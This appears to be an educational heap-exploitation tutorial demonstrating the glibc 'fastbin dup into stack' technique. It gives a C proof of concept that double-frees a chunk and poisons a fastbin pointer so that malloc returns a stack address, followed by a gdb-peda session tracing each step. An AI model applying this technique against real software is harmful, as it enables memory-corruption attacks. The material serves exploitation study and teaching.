Excuse the ads! We need some help to keep our site up.
The following code calls malloc() three times with 112 as its argument.
The application requests the free of buf1, buf2, and requests the free of buf1 again.
This is equivalent to the code in "fast_dup.c".
You call malloc () twice with 112 as an argument to get memory.
#include <stdio.h> #include <stdlib.h> int main() { unsigned long long stack_var[2]; printf("Stack_var : %p\n",&stack_var); char *buf1 = malloc(112); char *buf2 = malloc(112); char *buf3 = malloc(112); free(buf1); free(buf2); free(buf1); unsigned long long *buf4 = malloc(112); char *buf5 = malloc(112); stack_var[0] = 0x80; stack_var[1] = 0; *buf4 = (unsigned long long)(((char*)&stack_var) - 8); char *buf6 = malloc(112); char *buf7 = malloc(112); read(STDIN_FILENO,buf7,100); } |
At 0x400728 we see a double-free heap being placed in the freebin heap.
Check out the Fake chunk at 0x400744.
lazenca0x0@ubuntu:~/Book/3.fastbin_dup_into_stack$ gcc -o fast_dup_into_stack fast_dup_into_stack.c lazenca0x0@ubuntu:~/Book/3.fastbin_dup_into_stack$ gdb -q ./fast_dup_into_stack Reading symbols from ./fast_dup_into_stack...(no debugging symbols found)...done. gdb-peda$ disassemble main Dump of assembler code for function main: 0x00000000004006a6 <+0>: push rbp 0x00000000004006a7 <+1>: mov rbp,rsp 0x00000000004006aa <+4>: sub rsp,0x60 0x00000000004006ae <+8>: mov rax,QWORD PTR fs:0x28 0x00000000004006b7 <+17>: mov QWORD PTR [rbp-0x8],rax 0x00000000004006bb <+21>: xor eax,eax 0x00000000004006bd <+23>: mov rax,QWORD PTR [rip+0x20099c] # 0x601060 <stderr@@GLIBC_2.2.5> 0x00000000004006c4 <+30>: lea rdx,[rbp-0x20] 0x00000000004006c8 <+34>: mov esi,0x400844 0x00000000004006cd <+39>: mov rdi,rax 0x00000000004006d0 <+42>: mov eax,0x0 0x00000000004006d5 <+47>: call 0x400580 <fprintf@plt> 0x00000000004006da <+52>: mov edi,0x70 0x00000000004006df <+57>: call 0x400590 <malloc@plt> 0x00000000004006e4 <+62>: mov QWORD PTR [rbp-0x58],rax 0x00000000004006e8 <+66>: mov edi,0x70 0x00000000004006ed <+71>: call 0x400590 <malloc@plt> 0x00000000004006f2 <+76>: mov QWORD PTR [rbp-0x50],rax 0x00000000004006f6 <+80>: mov edi,0x70 0x00000000004006fb <+85>: call 0x400590 <malloc@plt> 0x0000000000400700 <+90>: mov QWORD PTR [rbp-0x48],rax 0x0000000000400704 <+94>: mov rax,QWORD PTR [rbp-0x58] 0x0000000000400708 <+98>: mov rdi,rax 0x000000000040070b <+101>: call 0x400540 <free@plt> 0x0000000000400710 <+106>: mov rax,QWORD PTR [rbp-0x50] 0x0000000000400714 <+110>: mov rdi,rax 0x0000000000400717 <+113>: call 0x400540 <free@plt> 0x000000000040071c <+118>: mov rax,QWORD PTR [rbp-0x58] 0x0000000000400720 <+122>: mov rdi,rax 0x0000000000400723 <+125>: call 0x400540 <free@plt> 0x0000000000400728 <+130>: mov edi,0x70 0x000000000040072d <+135>: call 0x400590 <malloc@plt> 0x0000000000400732 <+140>: mov QWORD PTR [rbp-0x40],rax 0x0000000000400736 <+144>: mov edi,0x70 0x000000000040073b <+149>: call 0x400590 <malloc@plt> 0x0000000000400740 <+154>: mov QWORD PTR [rbp-0x38],rax 0x0000000000400744 <+158>: mov QWORD PTR [rbp-0x20],0x80 0x000000000040074c <+166>: mov QWORD PTR [rbp-0x18],0x0 0x0000000000400754 <+174>: lea rax,[rbp-0x20] 0x0000000000400758 <+178>: sub rax,0x8 0x000000000040075c <+182>: mov rdx,rax 0x000000000040075f <+185>: mov rax,QWORD PTR [rbp-0x40] 0x0000000000400763 <+189>: mov QWORD PTR [rax],rdx 0x0000000000400766 <+192>: mov edi,0x70 0x000000000040076b <+197>: call 0x400590 <malloc@plt> 0x0000000000400770 <+202>: mov QWORD PTR [rbp-0x30],rax 0x0000000000400774 <+206>: mov edi,0x70 0x0000000000400779 <+211>: call 0x400590 <malloc@plt> 0x000000000040077e <+216>: mov QWORD PTR [rbp-0x28],rax 0x0000000000400782 <+220>: mov rax,QWORD PTR [rbp-0x28] 0x0000000000400786 <+224>: mov edx,0x64 0x000000000040078b <+229>: mov rsi,rax 0x000000000040078e <+232>: mov edi,0x0 0x0000000000400793 <+237>: call 0x400560 <read@plt> 0x0000000000400798 <+242>: mov eax,0x0 0x000000000040079d <+247>: mov rcx,QWORD PTR [rbp-0x8] 0x00000000004007a1 <+251>: xor rcx,QWORD PTR fs:0x28 0x00000000004007aa <+260>: je 0x4007b1 <main+267> 0x00000000004007ac <+262>: call 0x400550 <__stack_chk_fail@plt> 0x00000000004007b1 <+267>: leave 0x00000000004007b2 <+268>: ret End of assembler dump. gdb-peda$ b *0x0000000000400728 Breakpoint 1 at 0x400728 gdb-peda$ b *0x0000000000400732 Breakpoint 2 at 0x400732 gdb-peda$ b *0x0000000000400740 Breakpoint 3 at 0x400740 gdb-peda$ b *0x0000000000400763 Breakpoint 4 at 0x400763 gdb-peda$ b *0x0000000000400770 Breakpoint 5 at 0x400770 gdb-peda$ b *0x000000000040077e Breakpoint 6 at 0x40077e gdb-peda$ b *0x0000000000400793 Breakpoint 7 at 0x400793 gdb-peda$ |
Due to a double free bug, fastbin's list becomes "0x602000-> 0x602080-> 0x602000-> ...".
gdb-peda$ r Starting program: /home/lazenca0x0/Book/3.fastbin_dup_into_stack/fast_dup_into_stack Stack_var : 0x7fffffffe3f0 Breakpoint 1, 0x0000000000400728 in main () gdb-peda$ p main_arena.fastbinsY[6] $1 = (mfastbinptr) 0x602000 gdb-peda$ x/4gx 0x602000 0x602000: 0x0000000000000000 0x0000000000000081 0x602010: 0x0000000000602080 0x0000000000000000 gdb-peda$ x/4gx 0x0000000000602080 0x602080: 0x0000000000000000 0x0000000000000081 0x602090: 0x0000000000602000 0x0000000000000000 gdb-peda$ x/4gx 0x0000000000602000 0x602000: 0x0000000000000000 0x0000000000000081 0x602010: 0x0000000000602080 0x0000000000000000 gdb-peda$ c Continuing. |
Requesting malloc () to allocate a memory of size 112 bytes will return the chunk (0x602080) placed on top of fastbin [6].
The next chunk (0x602000) is placed in fastbin[6].
gdb-peda$ c Continuing. Breakpoint 2, 0x0000000000400732 in main () gdb-peda$ i r rax rax 0x602010 0x602010 gdb-peda$ p main_arena.fastbinsY[6] $2 = (mfastbinptr) 0x602080 gdb-peda$ c Continuing. Breakpoint 3, 0x0000000000400740 in main () gdb-peda$ i r rax rax 0x602090 0x602090 gdb-peda$ p main_arena.fastbinsY[6] $3 = (mfastbinptr) 0x602000 gdb-peda$ ni |
gdb-peda$ c Continuing. 0x0000000000400744 in main () gdb-peda$ x/2i $rip => 0x400744 <main+158>: mov QWORD PTR [rbp-0x20],0x80 0x40074c <main+166>: mov QWORD PTR [rbp-0x18],0x0 gdb-peda$ i r rbp rbp 0x7fffffffe410 0x7fffffffe410 gdb-peda$ p/x 0x7fffffffe410 - 0x20 $4 = 0x7fffffffe3f0 gdb-peda$ p/x 0x7fffffffe410 - 0x18 $5 = 0x7fffffffe3f8 gdb-peda$ ni 0x000000000040074c in main () gdb-peda$ ni 0x0000000000400754 in main () gdb-peda$ x/2gx 0x7fffffffe3f0 0x7fffffffe3f0: 0x0000000000000080 0x0000000000000000 gdb-peda$ c Continuing. |
As a result, fastbin's list becomes "0x602000 → 0x00007fffffffe3e8".
gdb-peda$ c Continuing. Breakpoint 4, 0x0000000000400763 in main () gdb-peda$ x/i $rip => 0x400763 <main+189>: mov QWORD PTR [rax],rdx gdb-peda$ i r rax rax 0x602010 0x602010 gdb-peda$ i r rdx rdx 0x7fffffffe3e8 0x7fffffffe3e8 gdb-peda$ ni 0x0000000000400766 in main () gdb-peda$ p main_arena.fastbinsY[6] $6 = (mfastbinptr) 0x602000 gdb-peda$ x/4gx 0x602000 0x602000: 0x0000000000000000 0x0000000000000081 0x602010: 0x00007fffffffe3e8 0x0000000000000000 gdb-peda$ x/4gx 0x00007fffffffe3e8 0x7fffffffe3e8: 0x0000000000000000 0x0000000000000080 0x7fffffffe3f8: 0x0000000000000000 0x00007fffffffe4f0 gdb-peda$ |
gdb-peda$ c Continuing. Breakpoint 5, 0x0000000000400770 in main () gdb-peda$ i r rax rax 0x602010 0x602010 gdb-peda$ c Continuing. Breakpoint 6, 0x000000000040077e in main () gdb-peda$ i r rax rax 0x7fffffffe3f8 0x7fffffffe3f8 gdb-peda$ x/4gx 0x7fffffffe3f8 0x7fffffffe3f8: 0x0000000000000000 0x00007fffffffe4f0 0x7fffffffe408: 0xf57229810c117d00 0x00000000004007c0 gdb-peda$ |
gdb-peda$ c Continuing. Breakpoint 7, 0x0000000000400793 in main () gdb-peda$ x/i $rip => 0x400793 <main+237>: call 0x400560 <read@plt> gdb-peda$ i r rsi rsi 0x7fffffffe3f8 0x7fffffffe3f8 gdb-peda$ ni AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD 0x0000000000400798 in main () gdb-peda$ x/4gx 0x7fffffffe3f8 0x7fffffffe3f8: 0x4141414141414141 0x4242424242424242 0x7fffffffe408: 0x4343434343434343 0x4444444444444444 gdb-peda$ |